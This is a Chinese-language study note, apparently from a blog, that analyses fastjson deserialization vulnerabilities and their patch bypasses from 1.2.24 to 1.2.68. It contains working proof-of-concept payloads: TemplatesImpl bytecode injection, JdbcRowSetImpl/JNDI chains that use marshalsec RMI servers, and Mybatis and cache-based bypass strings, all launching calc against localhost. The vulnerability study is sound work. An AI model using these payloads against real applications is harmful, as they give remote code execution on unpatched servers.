之前面试的时候被问fastjson原理,没答好,现在稍微缝合整理一下,跟参考的大哥们写的文章相比很浅,建议想要学习fastjson漏洞原理的还是看参考部分的文章吧
fastjson阿里的一个开源java类库,作用是java对象与json字符串的相互转化,即序列化(对象->json)与反序列化
简单使用如下:
1234567
parseObject(String text, Class clazz) ,构造⽅法 + setter + 满⾜条件额外的 getter
JSONObject parseObject(String text) ,构造⽅法 + setter + getter + 满⾜条件额外的 getter
parse(String text) ,构造⽅法 + setter + 满⾜条件额外的 getter
对于没有 set ⽅法的 private 成员,反序列化时传递 Feature.SupportNonPublicField 即可完成赋值
@typefastjson反序列化的漏洞要从@type讲起
@type是一个特殊注解,用于反序列化,效果是标识JSON字符串中的某个属性是一个Java对象的类型,正是这样的功能引起了相关漏洞
直接看具体例子
可以看到java.lang.Runtime这个字符串值被@type标识为了一个java对象,在解析时的结果是java.lang.Runtime@7a5d012c,也就是一个Runtime类的实例对象
123456789public class Main { public static void main(String[] args) throws IOException { String json = "{\"@type\":\"java.lang.Runtime\"}"; ParserConfig.getGlobalInstance().addAccept("java.lang"); Runtime runtime = (Runtime) JSON.parseObject(json,Object.class); runtime.exec("calc.exe"); }}//运行环境为java8上面的这段代码可以利用反序列出来的Runtime实例对象弹个计算器出来
1234567public class Main { public static void main(String[] args) throws IOException { Person person = new Person("crumbling",18); String json = JSON.toJSONString(person, SerializerFeature.WriteClassName); System.out.println(json); }}
传入SerializerFeature.WriteClassName可以使得Fastjson支持自省,具体效果就是给序列化后的json字符串多一个@type标识,如上图所示
漏洞1.2.22-1.2.24版本中的反序列化漏洞原自两点:
@type字段指明反序列化的目标恶意类如前文所示,fastjson反序列化时,字符串时会⾃动调⽤恶意对象的构造⽅法, setter ⽅法, getter ⽅法等,只要在这些方法里写入利用内容,就可以完成漏洞利用。TemplatesImpl链TemplatesImpl(Feature.SupportNonPublicField)利用链
扣来的脚本
123456789101112131415161718192021222324252627282930313233343536373839404142434445package com.crumbling;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import java.util.Base64;public class Main { public static class test{ } public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.get(test.class.getName()); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "crumbling" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass((pool.get(AbstractTranslet.class.getName()))); try { byte[] evilCode = cc.toBytecode(); String evilCode_base64 = Base64.getEncoder().encodeToString(evilCode); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text1 = "{"+ "\"@type\":\"" + NASTY_CLASS +"\","+ "\"_bytecodes\":[\""+evilCode_base64+"\"],"+ "'_name':'W01h4cker',"+ "'_tfactory':{ },"+ "'_outputProperties':{ }"+ "}\n"; ParserConfig config = new ParserConfig(); Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); } catch (Exception e) { e.printStackTrace(); } }}恶意类是一个继承AbstractTranslet的Test类,通过Test t = new Test();来初始化
javac 编译成字节码,然后对字节码继续进行base64 编码填充POC的 _bytecodes 字段,这就是TemplatesImpl利用链的弹计算器
分析json字符串中主要有3个部分影响漏洞
@type 标识了反序列化的恶意⽬标类 TemplatesImpl ,FastJson最终会按照这个类反序列化得到实例
_bytecodes :继承 AbstractTranslet 类的恶意类字节码,使⽤ Base64 编码。
_outputProperties : TemplatesImpl 反序列化过程中会调⽤ getOutputProperties ⽅法, 导致 bytecodes 字节码成功实例化,造成命令执⾏。
因为上述2个成员变量都是无set的private变量,所以反序列化的时候要传入 Feature.SupportNonPublicField
整套流程如下,构造一个TemplatesImpl类的反序列化字符串,其中_bytecodes是构造的恶意类,其父类是AbstractTranslet,会被加载并使用newInstance()实例化。在反序列化过程中getOutputProperties()被fastjson调用,其过程为getOutputProperties() -> newTransformer()-> getTransletInstance()-> defineTransletClasses() -> EvilClass.newInstance()
JdbcRowSetImpl链TemplatesImpl 利⽤链因为需要开启 Feature.SupportNonPublicField 选项,所以还是具有较⼤的 限制。而更好的解决⽅案—— JdbcRowSetImpl 利⽤链配合JDNI。
大致思路如下
恶意类
1234567891011121314151617181920212223242526package com.crumbling;import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.IOException;import java.io.Serializable;import java.util.Hashtable;public class Exploit implements ObjectFactory, Serializable { public Exploit() { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } public static void main(String[] args) { Exploit exploit = new Exploit(); } public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) throws Exception { return null; }}通过 javac 编译得到 Exploit.class ⽂件,将字节码⽂件放到Web⽬录下
12C:\Users\Hacker>python -m http.serverServing HTTP on :: port 8000 (http://[::]:8000/) ...POC
1234567891011package com.crumbling;import com.alibaba.fastjson.JSON;public class POC1_2_24 { public static void main(String[] args) { String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\", \"autoCommit\":true}"; JSON.parse(PoC); }}开启 RMI 服务器,默认运⾏在 1099 端⼝,并设置返回对象为远程恶意类的引⽤
12java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServerhttp://127.0.0.1:8000/#Exploit分析@type :指定恶意利⽤类为 com.sun.rowset.JdbcRowSetImpl
dataSourceName :指定 RMI / LDAP 恶意服务器,并调⽤ setDataSourceName 函数
autoCommit :调⽤ setAutoCommit 函数。
调用链流程:前文提到反序列化会调用目标类的setter/getter方法,JdbcRowSetImpl链在反序列化时就会调用的类中的setAutoCommit(),其中又会调用connect()方法
connect()方法中有如下内容
12InitialContext var1 = new InitialContext();DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());其存在JNDI注入,调⽤ lookup 函数,参数可控且为 this.getDataSourceName(),如果这个参数为http://127.0.0.1:8000/Exploit,也就是我们上传的恶意类,那么就可以完成加载利用
黑名单机制官⽅在1.2.25版本更新中,对1.2.25-1.2.41版本漏洞进⾏了修补。新增了 autoTypeSupport 反序列化选项,并通过 checkAutoType 函数对加载类进⾏⿊⽩名单过滤和判断。
1.2.25版本默认情况下, autoTypeSupport 为 false ,将不⽀持指定类的反序列化,默认使⽤⿊名单 +⽩名单验证。
运行前面的poc,会得到
可以在源码中看到黑名单
再看相对应的check函数checkAutoType
代码比较占篇幅,这边说下逻辑:开启了autoType,先后从白名单黑名单里进行判断,如果在白名单中匹配成功,会直接用TypeUtils.loadClass加载,不会进行后续的黑名单匹配,没开就是反过来;如果黑白名单都没有匹配,那么在开启了autoType或者expectClass不为空,也就是指定Class(?)类才会加载。
有黑名单机制,那就要考虑绕过,checkAutoType本身的逻辑里没看到可绕过的部分,所以继续去loadClass方法里看看
可以看到在第二个else if里写的过滤逻辑,如果类名的字符串以L开头并以;结尾,则需要把开头的L和结尾的;给去掉,然后递归调用loadClass
从源码中可以看到,白名单是默认为空的那么一个比较简单的绕过方法就出来了
2步
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);在指定的类名开头加上 L ,结尾加上 ;12345678910import com.alibaba.fastjson.JSON;import com.sun.rowset.JdbcRowSetImpl;public class POC1_2_25 { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\", \"autoCommit\":true}"; JSON.parse(PoC); }}check逻辑里还有个[开头也会去循环调用然后加载
所以相关绕过payload还有
1String payload = "{\"a\":{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{, \"dataSourceName\":\"ldap://127.0.0.1:1389/ift2ty\", \"autoCommit\":true}}";逻辑来看[{的位置应该是,但是会出现报错,提示token相关的问题,所以最后还是要[{
1.2.42绕过在前一次补丁上再次进行修补
主要改动内容为
类名变成了哈希值,不过已经有了对应的表格LeadroyaL/fastjson-blacklist ;checkAutoType规则增加可以看到他会进行一次首尾的删除所以只需要双写L和;即可继续绕过(根据他循环删除的特性,其实n写也没问题)
1.2.43绕过Ln写问题彻底解决,但是[的事情还没有搞定
Mybatis利用链1.2.44-1.2.45前面提到的问题已经被修复
这边参考的2个资料开始分叉,一边利用mappings缓存绕过,一边则是Mybatis链
首先是Mybatis链
1234567public class Main { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String PoC = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"prope rties\":{\"data_source\":\"rmi://localhost:1099/Exploit\"}}"; JSON.parse(PoC); }}主要是会去调用POC中传递 properties 成员会调⽤ setProperties ,这里面也调用了lookup函数
data_source传入恶意RMI地址,完成加载利用
利用mappings缓存绕过1.2.46开始Mybatis的也没了
1.2.47
扣个payload来
12345678910111213package org.example;import com.alibaba.fastjson.JSONObject;import com.alibaba.fastjson.parser.ParserConfig;public class Main { public static void main(String[] args){ ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // ldap 和 rmi都可以 String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/ift2ty\",\"autoCommit\":true}}"; JSONObject.parse(payload); }}原理同样出现在checkAutoType,其在不开启autoType的情况下通过利用链将数据放入缓存mappings中,在后续会直接从缓存里取,而不需要进行检验
1.2.48绕过1.2.48开始缓存有关的内容已经被修复了
1.2.48-1.2.67
针对黑名单的绕过为主,需要存在有其他组件
1.2.68绕过感觉1.2.68开始这些版本都比较新,后续慢慢总结吧
更新了safeMode,如果开启了safeMode autoType会被完全禁止,绕过的核心是传入checkAutoType的参数expectClass
在前文fastjson的简单使用中Person.class即为expectClass
1Person person2 = JSON.parseObject(json2,Person.class)条件如下:
expectClass为空:
typeNmae不在denyHashCodes黑名单中(必须条件)SafeMode为false(必要条件,默认为false)typeName在TypeUtils#mappings中且expectClass为空且typeName不为HashMap且不为 expectClass子类expectClass不为空:
typeNmae和expectClass均不在denyHashCodes黑名单中(必须条件)autoTypeSupport为false(默认为false)expectClass在TypeUtils#mappings中typeName不是ClassLoader、DataSource、RowSet的子类expectClass不为null,且不为Object.class、Serializable.class、Cloneable.class、 Closeable.class、EventListener.class、Iterable.class、Collection.classtypeName是expectClass的子类参考知识星球代码审计
W01fh4cker/LearnFastjsonVulnFromZero-Basic